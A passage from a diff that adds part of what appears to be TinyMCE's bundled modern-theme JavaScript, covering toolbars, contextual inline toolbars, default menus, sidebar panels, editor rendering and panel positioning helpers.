+  var createToolbars = function (editor, size) {
+    var toolbars = [];
+    var addToolbar = function (items) {
+      if (items) {
+        toolbars.push(createToolbar(editor, items, size));
+      }
+    };
+    global$2.each(getToolbars(editor), function (toolbar) {
+      addToolbar(toolbar);
+    });
+    if (toolbars.length) {
+      return {
+        type: 'panel',
+        layout: 'stack',
+        classes: 'toolbar-grp',
+        ariaRoot: true,
+        ariaRemember: true,
+        items: toolbars
+      };
+    }
+  };
+  var $_4udolhu7jjgwefo1 = {
+    createToolbar: createToolbar,
+    createToolbars: createToolbars
+  };
+
+  var DOM = global$3.DOM;
+  var toClientRect = function (geomRect) {
+    return {
+      left: geomRect.x,
+      top: geomRect.y,
+      width: geomRect.w,
+      height: geomRect.h,
+      right: geomRect.x + geomRect.w,
+      bottom: geomRect.y + geomRect.h
+    };
+  };
+  var hideAllFloatingPanels = function (editor) {
+    global$2.each(editor.contextToolbars, function (toolbar) {
+      if (toolbar.panel) {
+        toolbar.panel.hide();
+      }
+    });
+  };
+  var movePanelTo = function (panel, pos) {
+    panel.moveTo(pos.left, pos.top);
+  };
+  var togglePositionClass = function (panel, relPos, predicate) {
+    relPos = relPos ? relPos.substr(0, 2) : '';
+    global$2.each({
+      t: 'down',
+      b: 'up'
+    }, function (cls, pos) {
+      panel.classes.toggle('arrow-' + cls, predicate(pos, relPos.substr(0, 1)));
+    });
+    global$2.each({
+      l: 'left',
+      r: 'right'
+    }, function (cls, pos) {
+      panel.classes.toggle('arrow-' + cls, predicate(pos, relPos.substr(1, 1)));
+    });
+  };
+  var userConstrain = function (handler, x, y, elementRect, contentAreaRect, panelRect) {
+    panelRect = toClientRect({
+      x: x,
+      y: y,
+      w: panelRect.w,
+      h: panelRect.h
+    });
+    if (handler) {
+      panelRect = handler({
+        elementRect: toClientRect(elementRect),
+        contentAreaRect: toClientRect(contentAreaRect),
+        panelRect: panelRect
+      });
+    }
+    return panelRect;
+  };
+  var addContextualToolbars = function (editor) {
+    var scrollContainer;
+    var getContextToolbars = function () {
+      return editor.contextToolbars || [];
+    };
+    var getElementRect = function (elm) {
+      var pos, targetRect, root;
+      pos = DOM.getPos(editor.getContentAreaContainer());
+      targetRect = editor.dom.getRect(elm);
+      root = editor.dom.getRoot();
+      if (root.nodeName === 'BODY') {
+        targetRect.x -= root.ownerDocument.documentElement.scrollLeft || root.scrollLeft;
+        targetRect.y -= root.ownerDocument.documentElement.scrollTop || root.scrollTop;
+      }
+      targetRect.x += pos.x;
+      targetRect.y += pos.y;
+      return targetRect;
+    };
+    var reposition = function (match, shouldShow) {
+      var relPos, panelRect, elementRect, contentAreaRect, panel, relRect, testPositions, smallElementWidthThreshold;
+      var handler = getInlineToolbarPositionHandler(editor);
+      if (editor.removed) {
+        return;
+      }
+      if (!match || !match.toolbar.panel) {
+        hideAllFloatingPanels(editor);
+        return;
+      }
+      testPositions = [
+        'bc-tc',
+        'tc-bc',
+        'tl-bl',
+        'bl-tl',
+        'tr-br',
+        'br-tr'
+      ];
+      panel = match.toolbar.panel;
+      if (shouldShow) {
+        panel.show();
+      }
+      elementRect = getElementRect(match.element);
+      panelRect = DOM.getRect(panel.getEl());
+      contentAreaRect = DOM.getRect(editor.getContentAreaContainer() || editor.getBody());
+      var delta = $_6344qfu4jjgwefnr.getUiContainerDelta(panel).getOr({
+        x: 0,
+        y: 0
+      });
+      elementRect.x += delta.x;
+      elementRect.y += delta.y;
+      panelRect.x += delta.x;
+      panelRect.y += delta.y;
+      contentAreaRect.x += delta.x;
+      contentAreaRect.y += delta.y;
+      smallElementWidthThreshold = 25;
+      if (DOM.getStyle(match.element, 'display', true) !== 'inline') {
+        var clientRect = match.element.getBoundingClientRect();
+        elementRect.w = clientRect.width;
+        elementRect.h = clientRect.height;
+      }
+      if (!editor.inline) {
+        contentAreaRect.w = editor.getDoc().documentElement.offsetWidth;
+      }
+      if (editor.selection.controlSelection.isResizable(match.element) && elementRect.w < smallElementWidthThreshold) {
+        elementRect = global$6.inflate(elementRect, 0, 8);
+      }
+      relPos = global$6.findBestRelativePosition(panelRect, elementRect, contentAreaRect, testPositions);
+      elementRect = global$6.clamp(elementRect, contentAreaRect);
+      if (relPos) {
+        relRect = global$6.relativePosition(panelRect, elementRect, relPos);
+        movePanelTo(panel, userConstrain(handler, relRect.x, relRect.y, elementRect, contentAreaRect, panelRect));
+      } else {
+        contentAreaRect.h += panelRect.h;
+        elementRect = global$6.intersect(contentAreaRect, elementRect);
+        if (elementRect) {
+          relPos = global$6.findBestRelativePosition(panelRect, elementRect, contentAreaRect, [
+            'bc-tc',
+            'bl-tl',
+            'br-tr'
+          ]);
+          if (relPos) {
+            relRect = global$6.relativePosition(panelRect, elementRect, relPos);
+            movePanelTo(panel, userConstrain(handler, relRect.x, relRect.y, elementRect, contentAreaRect, panelRect));
+          } else {
+            movePanelTo(panel, userConstrain(handler, elementRect.x, elementRect.y, elementRect, contentAreaRect, panelRect));
+          }
+        } else {
+          panel.hide();
+        }
+      }
+      togglePositionClass(panel, relPos, function (pos1, pos2) {
+        return pos1 === pos2;
+      });
+    };
+    var repositionHandler = function (show) {
+      return function () {
+        var execute = function () {
+          if (editor.selection) {
+            reposition(findFrontMostMatch(editor.selection.getNode()), show);
+          }
+        };
+        global$7.requestAnimationFrame(execute);
+      };
+    };
+    var bindScrollEvent = function (panel) {
+      if (!scrollContainer) {
+        var reposition_1 = repositionHandler(true);
+        var uiContainer_1 = $_6344qfu4jjgwefnr.getUiContainer(panel);
+        scrollContainer = editor.selection.getScrollContainer() || editor.getWin();
+        DOM.bind(scrollContainer, 'scroll', reposition_1);
+        DOM.bind(uiContainer_1, 'scroll', reposition_1);
+        editor.on('remove', function () {
+          DOM.unbind(scrollContainer, 'scroll', reposition_1);
+          DOM.unbind(uiContainer_1, 'scroll', reposition_1);
+        });
+      }
+    };
+    var showContextToolbar = function (match) {
+      var panel;
+      if (match.toolbar.panel) {
+        match.toolbar.panel.show();
+        reposition(match);
+        return;
+      }
+      panel = global$4.create({
+        type: 'floatpanel',
+        role: 'dialog',
+        classes: 'tinymce tinymce-inline arrow',
+        ariaLabel: 'Inline toolbar',
+        layout: 'flex',
+        direction: 'column',
+        align: 'stretch',
+        autohide: false,
+        autofix: true,
+        fixed: true,
+        border: 1,
+        items: $_4udolhu7jjgwefo1.createToolbar(editor, match.toolbar.items),
+        oncancel: function () {
+          editor.focus();
+        }
+      });
+      $_6344qfu4jjgwefnr.setUiContainer(editor, panel);
+      bindScrollEvent(panel);
+      match.toolbar.panel = panel;
+      panel.renderTo().reflow();
+      reposition(match);
+    };
+    var hideAllContextToolbars = function () {
+      global$2.each(getContextToolbars(), function (toolbar) {
+        if (toolbar.panel) {
+          toolbar.panel.hide();
+        }
+      });
+    };
+    var findFrontMostMatch = function (targetElm) {
+      var i, y, parentsAndSelf;
+      var toolbars = getContextToolbars();
+      parentsAndSelf = editor.$(targetElm).parents().add(targetElm);
+      for (i = parentsAndSelf.length - 1; i >= 0; i--) {
+        for (y = toolbars.length - 1; y >= 0; y--) {
+          if (toolbars[y].predicate(parentsAndSelf[i])) {
+            return {
+              toolbar: toolbars[y],
+              element: parentsAndSelf[i]
+            };
+          }
+        }
+      }
+      return null;
+    };
+    editor.on('click keyup setContent ObjectResized', function (e) {
+      if (e.type === 'setcontent' && !e.selection) {
+        return;
+      }
+      global$7.setEditorTimeout(editor, function () {
+        var match;
+        match = findFrontMostMatch(editor.selection.getNode());
+        if (match) {
+          hideAllContextToolbars();
+          showContextToolbar(match);
+        } else {
+          hideAllContextToolbars();
+        }
+      });
+    });
+    editor.on('blur hide contextmenu', hideAllContextToolbars);
+    editor.on('ObjectResizeStart', function () {
+      var match = findFrontMostMatch(editor.selection.getNode());
+      if (match && match.toolbar.panel) {
+        match.toolbar.panel.hide();
+      }
+    });
+    editor.on('ResizeEditor ResizeWindow', repositionHandler(true));
+    editor.on('nodeChange', repositionHandler(false));
+    editor.on('remove', function () {
+      global$2.each(getContextToolbars(), function (toolbar) {
+        if (toolbar.panel) {
+          toolbar.panel.remove();
+        }
+      });
+      editor.contextToolbars = {};
+    });
+    editor.shortcuts.add('ctrl+shift+e > ctrl+shift+p', '', function () {
+      var match = findFrontMostMatch(editor.selection.getNode());
+      if (match && match.toolbar.panel) {
+        match.toolbar.panel.items()[0].focus();
+      }
+    });
+  };
+  var $_g1gegqu1jjgwefne = { addContextualToolbars: addContextualToolbars };
+
+  var typeOf = function (x) {
+    if (x === null)
+      return 'null';
+    var t = typeof x;
+    if (t === 'object' && Array.prototype.isPrototypeOf(x))
+      return 'array';
+    if (t === 'object' && String.prototype.isPrototypeOf(x))
+      return 'string';
+    return t;
+  };
+  var isType = function (type) {
+    return function (value) {
+      return typeOf(value) === type;
+    };
+  };
+
+
+
+
+
+
+  var isFunction = isType('function');
+  var isNumber = isType('number');
+
+  var rawIndexOf = function () {
+    var pIndexOf = Array.prototype.indexOf;
+    var fastIndex = function (xs, x) {
+      return pIndexOf.call(xs, x);
+    };
+    var slowIndex = function (xs, x) {
+      return slowIndexOf(xs, x);
+    };
+    return pIndexOf === undefined ? slowIndex : fastIndex;
+  }();
+  var indexOf = function (xs, x) {
+    var r = rawIndexOf(xs, x);
+    return r === -1 ? Option.none() : Option.some(r);
+  };
+
+  var exists = function (xs, pred) {
+    return findIndex(xs, pred).isSome();
+  };
+
+
+  var map = function (xs, f) {
+    var len = xs.length;
+    var r = new Array(len);
+    for (var i = 0; i < len; i++) {
+      var x = xs[i];
+      r[i] = f(x, i, xs);
+    }
+    return r;
+  };
+  var each = function (xs, f) {
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      f(x, i, xs);
+    }
+  };
+
+
+  var filter = function (xs, pred) {
+    var r = [];
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      if (pred(x, i, xs)) {
+        r.push(x);
+      }
+    }
+    return r;
+  };
+
+
+  var foldl = function (xs, f, acc) {
+    each(xs, function (x) {
+      acc = f(acc, x);
+    });
+    return acc;
+  };
+  var find = function (xs, pred) {
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      if (pred(x, i, xs)) {
+        return Option.some(x);
+      }
+    }
+    return Option.none();
+  };
+  var findIndex = function (xs, pred) {
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      if (pred(x, i, xs)) {
+        return Option.some(i);
+      }
+    }
+    return Option.none();
+  };
+  var slowIndexOf = function (xs, x) {
+    for (var i = 0, len = xs.length; i < len; ++i) {
+      if (xs[i] === x) {
+        return i;
+      }
+    }
+    return -1;
+  };
+  var push = Array.prototype.push;
+  var flatten = function (xs) {
+    var r = [];
+    for (var i = 0, len = xs.length; i < len; ++i) {
+      if (!Array.prototype.isPrototypeOf(xs[i]))
+        throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
+      push.apply(r, xs[i]);
+    }
+    return r;
+  };
+
+
+
+  var slice = Array.prototype.slice;
+  var reverse = function (xs) {
+    var r = slice.call(xs, 0);
+    r.reverse();
+    return r;
+  };
+
+
+
+
+
+
+  var from$1 = isFunction(Array.from) ? Array.from : function (x) {
+    return slice.call(x);
+  };
+
+  var defaultMenus = {
+    file: {
+      title: 'File',
+      items: 'newdocument restoredraft | preview | print'
+    },
+    edit: {
+      title: 'Edit',
+      items: 'undo redo | cut copy paste pastetext | selectall'
+    },
+    view: {
+      title: 'View',
+      items: 'code | visualaid visualchars visualblocks | spellchecker | preview fullscreen'
+    },
+    insert: {
+      title: 'Insert',
+      items: 'image link media template codesample inserttable | charmap hr | pagebreak nonbreaking anchor toc | insertdatetime'
+    },
+    format: {
+      title: 'Format',
+      items: 'bold italic underline strikethrough superscript subscript codeformat | blockformats align | removeformat'
+    },
+    tools: {
+      title: 'Tools',
+      items: 'spellchecker spellcheckerlanguage | a11ycheck code'
+    },
+    table: { title: 'Table' },
+    help: { title: 'Help' }
+  };
+  var delimiterMenuNamePair = function () {
+    return {
+      name: '|',
+      item: { text: '|' }
+    };
+  };
+  var createMenuNameItemPair = function (name, item) {
+    var menuItem = item ? {
+      name: name,
+      item: item
+    } : null;
+    return name === '|' ? delimiterMenuNamePair() : menuItem;
+  };
+  var hasItemName = function (namedMenuItems, name) {
+    return findIndex(namedMenuItems, function (namedMenuItem) {
+      return namedMenuItem.name === name;
+    }).isSome();
+  };
+  var isSeparator = function (namedMenuItem) {
+    return namedMenuItem && namedMenuItem.item.text === '|';
+  };
+  var cleanupMenu = function (namedMenuItems, removedMenuItems) {
+    var menuItemsPass1 = filter(namedMenuItems, function (namedMenuItem) {
+      return removedMenuItems.hasOwnProperty(namedMenuItem.name) === false;
+    });
+    var menuItemsPass2 = filter(menuItemsPass1, function (namedMenuItem, i, namedMenuItems) {
+      return !isSeparator(namedMenuItem) || !isSeparator(namedMenuItems[i - 1]);
+    });
+    return filter(menuItemsPass2, function (namedMenuItem, i, namedMenuItems) {
+      return !isSeparator(namedMenuItem) || i > 0 && i < namedMenuItems.length - 1;
+    });
+  };
+  var createMenu = function (editorMenuItems, menus, removedMenuItems, context) {
+    var menuButton, menu, namedMenuItems, isUserDefined;
+    if (menus) {
+      menu = menus[context];
+      isUserDefined = true;
+    } else {
+      menu = defaultMenus[context];
+    }
+    if (menu) {
+      menuButton = { text: menu.title };
+      namedMenuItems = [];
+      global$2.each((menu.items || '').split(/[ ,]/), function (name) {
+        var namedMenuItem = createMenuNameItemPair(name, editorMenuItems[name]);
+        if (namedMenuItem) {
+          namedMenuItems.push(namedMenuItem);
+        }
+      });
+      if (!isUserDefined) {
+        global$2.each(editorMenuItems, function (item, name) {
+          if (item.context === context && !hasItemName(namedMenuItems, name)) {
+            if (item.separator === 'before') {
+              namedMenuItems.push(delimiterMenuNamePair());
+            }
+            if (item.prependToContext) {
+              namedMenuItems.unshift(createMenuNameItemPair(name, item));
+            } else {
+              namedMenuItems.push(createMenuNameItemPair(name, item));
+            }
+            if (item.separator === 'after') {
+              namedMenuItems.push(delimiterMenuNamePair());
+            }
+          }
+        });
+      }
+      menuButton.menu = map(cleanupMenu(namedMenuItems, removedMenuItems), function (menuItem) {
+        return menuItem.item;
+      });
+      if (!menuButton.menu.length) {
+        return null;
+      }
+    }
+    return menuButton;
+  };
+  var getDefaultMenubar = function (editor) {
+    var name;
+    var defaultMenuBar = [];
+    var menu = getMenu(editor);
+    if (menu) {
+      for (name in menu) {
+        defaultMenuBar.push(name);
+      }
+    } else {
+      for (name in defaultMenus) {
+        defaultMenuBar.push(name);
+      }
+    }
+    return defaultMenuBar;
+  };
+  var createMenuButtons = function (editor) {
+    var menuButtons = [];
+    var defaultMenuBar = getDefaultMenubar(editor);
+    var removedMenuItems = global$2.makeMap(getRemovedMenuItems(editor).split(/[ ,]/));
+    var menubar = getMenubar(editor);
+    var enabledMenuNames = typeof menubar === 'string' ? menubar.split(/[ ,]/) : defaultMenuBar;
+    for (var i = 0; i < enabledMenuNames.length; i++) {
+      var menuItems = enabledMenuNames[i];
+      var menu = createMenu(editor.menuItems, getMenu(editor), removedMenuItems, menuItems);
+      if (menu) {
+        menuButtons.push(menu);
+      }
+    }
+    return menuButtons;
+  };
+  var $_bahgsqu8jjgwefo4 = { createMenuButtons: createMenuButtons };
+
+  var DOM$1 = global$3.DOM;
+  var getSize = function (elm) {
+    return {
+      width: elm.clientWidth,
+      height: elm.clientHeight
+    };
+  };
+  var resizeTo = function (editor, width, height) {
+    var containerElm, iframeElm, containerSize, iframeSize;
+    containerElm = editor.getContainer();
+    iframeElm = editor.getContentAreaContainer().firstChild;
+    containerSize = getSize(containerElm);
+    iframeSize = getSize(iframeElm);
+    if (width !== null) {
+      width = Math.max(getMinWidth(editor), width);
+      width = Math.min(getMaxWidth(editor), width);
+      DOM$1.setStyle(containerElm, 'width', width + (containerSize.width - iframeSize.width));
+      DOM$1.setStyle(iframeElm, 'width', width);
+    }
+    height = Math.max(getMinHeight(editor), height);
+    height = Math.min(getMaxHeight(editor), height);
+    DOM$1.setStyle(iframeElm, 'height', height);
+    $_5hpmustzjjgwefnb.fireResizeEditor(editor);
+  };
+  var resizeBy = function (editor, dw, dh) {
+    var elm = editor.getContentAreaContainer();
+    resizeTo(editor, elm.clientWidth + dw, elm.clientHeight + dh);
+  };
+  var $_sd6u0ubjjgwefok = {
+    resizeTo: resizeTo,
+    resizeBy: resizeBy
+  };
+
+  var global$8 = tinymce.util.Tools.resolve('tinymce.Env');
+
+  var api = function (elm) {
+    return {
+      element: function () {
+        return elm;
+      }
+    };
+  };
+  var trigger = function (sidebar, panel, callbackName) {
+    var callback = sidebar.settings[callbackName];
+    if (callback) {
+      callback(api(panel.getEl('body')));
+    }
+  };
+  var hidePanels = function (name, container, sidebars) {
+    global$2.each(sidebars, function (sidebar) {
+      var panel = container.items().filter('#' + sidebar.name)[0];
+      if (panel && panel.visible() && sidebar.name !== name) {
+        trigger(sidebar, panel, 'onhide');
+        panel.visible(false);
+      }
+    });
+  };
+  var deactivateButtons = function (toolbar) {
+    toolbar.items().each(function (ctrl) {
+      ctrl.active(false);
+    });
+  };
+  var findSidebar = function (sidebars, name) {
+    return global$2.grep(sidebars, function (sidebar) {
+      return sidebar.name === name;
+    })[0];
+  };
+  var showPanel = function (editor, name, sidebars) {
+    return function (e) {
+      var btnCtrl = e.control;
+      var container = btnCtrl.parents().filter('panel')[0];
+      var panel = container.find('#' + name)[0];
+      var sidebar = findSidebar(sidebars, name);
+      hidePanels(name, container, sidebars);
+      deactivateButtons(btnCtrl.parent());
+      if (panel && panel.visible()) {
+        trigger(sidebar, panel, 'onhide');
+        panel.hide();
+        btnCtrl.active(false);
+      } else {
+        if (panel) {
+          panel.show();
+          trigger(sidebar, panel, 'onshow');
+        } else {
+          panel = global$4.create({
+            type: 'container',
+            name: name,
+            layout: 'stack',
+            classes: 'sidebar-panel',
+            html: ''
+          });
+          container.prepend(panel);
+          trigger(sidebar, panel, 'onrender');
+          trigger(sidebar, panel, 'onshow');
+        }
+        btnCtrl.active(true);
+      }
+      $_5hpmustzjjgwefnb.fireResizeEditor(editor);
+    };
+  };
+  var isModernBrowser = function () {
+    return !global$8.ie || global$8.ie >= 11;
+  };
+  var hasSidebar = function (editor) {
+    return isModernBrowser() && editor.sidebars ? editor.sidebars.length > 0 : false;
+  };
+  var createSidebar = function (editor) {
+    var buttons = global$2.map(editor.sidebars, function (sidebar) {
+      var settings = sidebar.settings;
+      return {
+        type: 'button',
+        icon: settings.icon,
+        image: settings.image,
+        tooltip: settings.tooltip,
+        onclick: showPanel(editor, sidebar.name, editor.sidebars)
+      };
+    });
+    return {
+      type: 'panel',
+      name: 'sidebar',
+      layout: 'stack',
+      classes: 'sidebar',
+      items: [{
+          type: 'toolbar',
+          layout: 'stack',
+          classes: 'sidebar-toolbar',
+          items: buttons
+        }]
+    };
+  };
+  var $_b7ut9jucjjgwefom = {
+    hasSidebar: hasSidebar,
+    createSidebar: createSidebar
+  };
+
+  var fireSkinLoaded$1 = function (editor) {
+    var done = function () {
+      editor._skinLoaded = true;
+      $_5hpmustzjjgwefnb.fireSkinLoaded(editor);
+    };
+    return function () {
+      if (editor.initialized) {
+        done();
+      } else {
+        editor.on('init', done);
+      }
+    };
+  };
+  var $_awdosmuejjgwefop = { fireSkinLoaded: fireSkinLoaded$1 };
+
+  var DOM$2 = global$3.DOM;
+  var switchMode = function (panel) {
+    return function (e) {
+      panel.find('*').disabled(e.mode === 'readonly');
+    };
+  };
+  var editArea = function (border) {
+    return {
+      type: 'panel',
+      name: 'iframe',
+      layout: 'stack',
+      classes: 'edit-area',
+      border: border,
+      html: ''
+    };
+  };
+  var editAreaContainer = function (editor) {
+    return {
+      type: 'panel',
+      layout: 'stack',
+      classes: 'edit-aria-container',
+      border: '1 0 0 0',
+      items: [
+        editArea('0'),
+        $_b7ut9jucjjgwefom.createSidebar(editor)
+      ]
+    };
+  };
+  var render = function (editor, theme, args) {
+    var panel, resizeHandleCtrl, startSize;
+    if (isSkinDisabled(editor) === false && args.skinUiCss) {
+      DOM$2.styleSheetLoader.load(args.skinUiCss, $_awdosmuejjgwefop.fireSkinLoaded(editor));
+    } else {
+      $_awdosmuejjgwefop.fireSkinLoaded(editor)();
+    }
+    panel = theme.panel = global$4.create({
+      type: 'panel',
+      role: 'application',
+      classes: 'tinymce',
+      style: 'visibility: hidden',
+      layout: 'stack',
+      border: 1,
+      items: [
+        {
+          type: 'container',
+          classes: 'top-part',
+          items: [
+            hasMenubar(editor) === false ? null : {
+              type: 'menubar',
+              border: '0 0 1 0',
+              items: $_bahgsqu8jjgwefo4.createMenuButtons(editor)
+            },
+            $_4udolhu7jjgwefo1.createToolbars(editor, getToolbarSize(editor))
+          ]
+        },
+        $_b7ut9jucjjgwefom.hasSidebar(editor) ? editAreaContainer(editor) : editArea('1 0 0 0')
+      ]
+    });
+    $_6344qfu4jjgwefnr.setUiContainer(editor, panel);
+    if (getResize(editor) !== 'none') {
+      resizeHandleCtrl = {
+        type: 'resizehandle',
+        direction: getResize(editor),
+        onResizeStart: function () {
+          var elm = editor.getContentAreaContainer().firstChild;
+          startSize = {
+            width: elm.clientWidth,
+            height: elm.clientHeight
+          };
+        },
+        onResize: function (e) {
+          if (getResize(editor) === 'both') {
+            $_sd6u0ubjjgwefok.resizeTo(editor, startSize.width + e.deltaX, startSize.height + e.deltaY);
+          } else {
+            $_sd6u0ubjjgwefok.resizeTo(editor, null, startSize.height + e.deltaY);
+          }
+        }
+      };
+    }
+    if (hasStatusbar(editor)) {
+      var linkHtml = '<a href="https://www.tinymce.com/?utm_campaign=editor_referral&amp;utm_medium=poweredby&amp;utm_source=tinymce" rel="noopener" target="_blank" role="presentation" tabindex="-1">tinymce</a>';
+      var html = global$5.translate([
+        'Powered by {0}',
+        linkHtml
+      ]);
+      var brandingLabel = isBrandingEnabled(editor) ? {
+        type: 'label',
+        classes: 'branding',
+        html: ' ' + html
+      } : null;
+      panel.add({
+        type: 'panel',
+        name: 'statusbar',
+        classes: 'statusbar',
+        layout: 'flow',
+        border: '1 0 0 0',
+        ariaRoot: true,
+        items: [
+          {
+            type: 'elementpath',
+            editor: editor
+          },
+          resizeHandleCtrl,
+          brandingLabel
+        ]
+      });
+    }
+    $_5hpmustzjjgwefnb.fireBeforeRenderUI(editor);
+    editor.on('SwitchMode', switchMode(panel));
+    panel.renderBefore(args.targetNode).reflow();
+    if (isReadOnly(editor)) {
+      editor.setMode('readonly');
+    }
+    if (args.width) {
+      DOM$2.setStyle(panel.getEl(), 'width', args.width);
+    }
+    editor.on('remove', function () {
+      panel.remove();
+      panel = null;
+    });
+    $_azwbz4u0jjgwefnc.addKeys(editor, panel);
+    $_g1gegqu1jjgwefne.addContextualToolbars(editor);
+    return {
+      iframeContainer: panel.find('#iframe')[0].getEl(),
+      editorContainer: panel.getEl()
+    };
+  };
+  var $_vxdgetvjjgwefn7 = { render: render };
+
+  var global$9 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery');
+
+  var count = 0;
+  var funcs = {
+    id: function () {
+      return 'mceu_' + count++;
+    },
+    create: function (name$$1, attrs, children) {
+      var elm = document.createElement(name$$1);
+      global$3.DOM.setAttribs(elm, attrs);
+      if (typeof children === 'string') {
+        elm.innerHTML = children;
+      } else {
+        global$2.each(children, function (child) {
+          if (child.nodeType) {
+            elm.appendChild(child);
+          }
+        });
+      }
+      return elm;
+    },
+    createFragment: function (html) {
+      return global$3.DOM.createFragment(html);
+    },
+    getWindowSize: function () {
+      return global$3.DOM.getViewPort();
+    },
+    getSize: function (elm) {
+      var width, height;
+      if (elm.getBoundingClientRect) {
+        var rect = elm.getBoundingClientRect();
+        width = Math.max(rect.width || rect.right - rect.left, elm.offsetWidth);
+        height = Math.max(rect.height || rect.bottom - rect.bottom, elm.offsetHeight);
+      } else {
+        width = elm.offsetWidth;
+        height = elm.offsetHeight;
+      }
+      return {
+        width: width,
+        height: height
+      };
+    },
+    getPos: function (elm, root) {
+      return global$3.DOM.getPos(elm, root || funcs.getContainer());
+    },
+    getContainer: function () {
+      return global$8.container ? global$8.container : document.body;
+    },
+    getViewPort: function (win) {
+      return global$3.DOM.getViewPort(win);
+    },
+    get: function (id) {
+      return document.getElementById(id);
+    },
+    addClass: function (elm, cls) {
+      return global$3.DOM.addClass(elm, cls);
+    },
+    removeClass: function (elm, cls) {
+      return global$3.DOM.removeClass(elm, cls);
+    },
+    hasClass: function (elm, cls) {
+      return global$3.DOM.hasClass(elm, cls);
+    },
+    toggleClass: function (elm, cls, state) {
+      return global$3.DOM.toggleClass(elm, cls, state);
+    },
+    css: function (elm, name$$1, value) {
+      return global$3.DOM.setStyle(elm, name$$1, value);
+    },
+    getRuntimeStyle: function (elm, name$$1) {
+      return global$3.DOM.getStyle(elm, name$$1, true);
+    },
+    on: function (target, name$$1, callback, scope) {
+      return global$3.DOM.bind(target, name$$1, callback, scope);
+    },
+    off: function (target, name$$1, callback) {
+      return global$3.DOM.unbind(target, name$$1, callback);
+    },
+    fire: function (target, name$$1, args) {
+      return global$3.DOM.fire(target, name$$1, args);
+    },
+    innerHtml: function (elm, html) {
+      global$3.DOM.setHTML(elm, html);
+    }
+  };
+
+  var isStatic = function (elm) {
+    return funcs.getRuntimeStyle(elm, 'position') === 'static';
+  };
+  var isFixed = function (ctrl) {
+    return ctrl.state.get('fixed');
+  };
+  function calculateRelativePosition(ctrl, targetElm, rel) {
+    var ctrlElm, pos, x, y, selfW, selfH, targetW, targetH, viewport, size;
+    viewport = getWindowViewPort();
+    pos = funcs.getPos(targetElm, $_6344qfu4jjgwefnr.getUiContainer(ctrl));
+    x = pos.x;
+    y = pos.y;
+    if (isFixed(ctrl) && isStatic(document.body)) {
+      x -= viewport.x;
+      y -= viewport.y;
+    }
+    ctrlElm = ctrl.getEl();
+    size = funcs.getSize(ctrlElm);
+    selfW = size.width;
+    selfH = size.height;
+    size = funcs.getSize(targetElm);
+    targetW = size.width;
+    targetH = size.height;
+    rel = (rel || '').split('');
+    if (rel[0] === 'b') {
+      y += targetH;
+    }
+    if (rel[1] === 'r') {
+      x += targetW;
+    }
+    if (rel[0] === 'c') {
+      y += Math.round(targetH / 2);
+    }
+    if (rel[1] === 'c') {
+      x += Math.round(targetW / 2);
+    }
+    if (rel[3] === 'b') {
+      y -= selfH;
+    }
+    if (rel[4] === 'r') {
+      x -= selfW;
+    }
+    if (rel[3] === 'c') {
+      y -= Math.round(selfH / 2);
+    }
+    if (rel[4] === 'c') {
+      x -= Math.round(selfW / 2);
+    }
+    return {
+      x: x,
+      y: y,
+      w: selfW,
+      h: selfH
+    };
+  }
+  var getUiContainerViewPort = function (customUiContainer) {
+    return {
+      x: 0,
+      y: 0,
+      w: customUiContainer.scrollWidth - 1,
+      h: customUiContainer.scrollHeight - 1
+    };
+  };
+  var getWindowViewPort = function () {
+    var win = window;
+    var x = Math.max(win.pageXOffset, document.body.scrollLeft, document.documentElement.scrollLeft);
+    var y = Math.max(win.pageYOffset, document.body.scrollTop, document.documentElement.scrollTop);
+    var w = win.innerWidth || document.documentElement.clientWidth;
+    var h = win.innerHeight || document.documentElement.clientHeight;
+    return {
+      x: x,
+      y: y,
+      w: x + w,
+      h: y + h
+    };
+  };
+  var getViewPortRect = function (ctrl) {
+    var customUiContainer = $_6344qfu4jjgwefnr.getUiContainer(ctrl);
+    return customUiContainer && !isFixed(ctrl) ? getUiContainerViewPort(customUiContainer) : getWindowViewPort();
+  };
+  var $_3fnh5iukjjgwefpt = {
+    testMoveRel: function (elm, rels) {
+      var viewPortRect = getViewPortRect(this);
+      for (var i = 0; i < rels.length; i++) {
+        var pos = calculateRelativePosition(this, elm, rels[i]);
+        if (isFixed(this)) {
+          if (pos.x > 0 && pos.x + pos.w < viewPortRect.w && pos.y > 0 && pos.y + pos.h < viewPortRect.h) {
+            return rels[i];
+          }
+        } else {
+          if (pos.x > viewPortRect.x && pos.x + pos.w < viewPortRect.w && pos.y > viewPortRect.y && pos.y + pos.h < viewPortRect.h) {
+            return rels[i];
+          }
+        }
+      }
+      return rels[0];
+    },
+    moveRel: function (elm, rel) {
+      if (typeof rel !== 'string') {
+        rel = this.testMoveRel(elm, rel);
+      }
+      var pos = calculateRelativePosition(this, elm, rel);
+      return this.moveTo(pos.x, pos.y);
+    },
+    moveBy: function (dx, dy) {
+      var self$$1 = this, rect = self$$1.layoutRect();
+      self$$1.moveTo(rect.x + dx, rect.y + dy);
+      return self$$1;
+    },
+    moveTo: function (x, y) {
+      var self$$1 = this;
+      function constrain(value, max, size) {
+        if (value < 0) {
+          return 0;
+        }
+        if (value + size > max) {
+          value = max - size;
+          return value < 0 ? 0 : value;
+        }
+        return value;
+      }
+      if (self$$1.settings.constrainToViewport) {
+        var viewPortRect = getViewPortRect(this);
+        var layoutRect = self$$1.layoutRect();
+        x = constrain(x, viewPortRect.w, layoutRect.w);
+        y = constrain(y, viewPortRect.h, layoutRect.h);
+      }
+      var uiContainer = $_6344qfu4jjgwefnr.getUiContainer(self$$1);
+      if (uiContainer && isStatic(uiContainer) && !isFixed(self$$1)) {
+        x -= uiContainer.scrollLeft;
+        y -= uiContainer.scrollTop;
+      }
+      if (uiContainer) {
+        x += 1;
+        y += 1;
+      }
+      if (self$$1.state.get('rendered')) {
+        self$$1.layoutRect({
+          x: x,
+          y: y
+        }).repaint();
+      } else {
+        self$$1.settings.x = x;
+        self$$1.settings.y = y;
+      }
+      self$$1.fire('move', {
+        x: x,
+        y: y
+      });
+      return self$$1;
+    }
+  };
+
+  var global$10 = tinymce.util.Tools.resolve('tinymce.util.Class');
+
+  var global$11 = tinymce.util.Tools.resolve('tinymce.util.EventDispatcher');
+
+  var $_fbr241uqjjgwefqo = {
+    parseBox: function (value) {
+      var len;
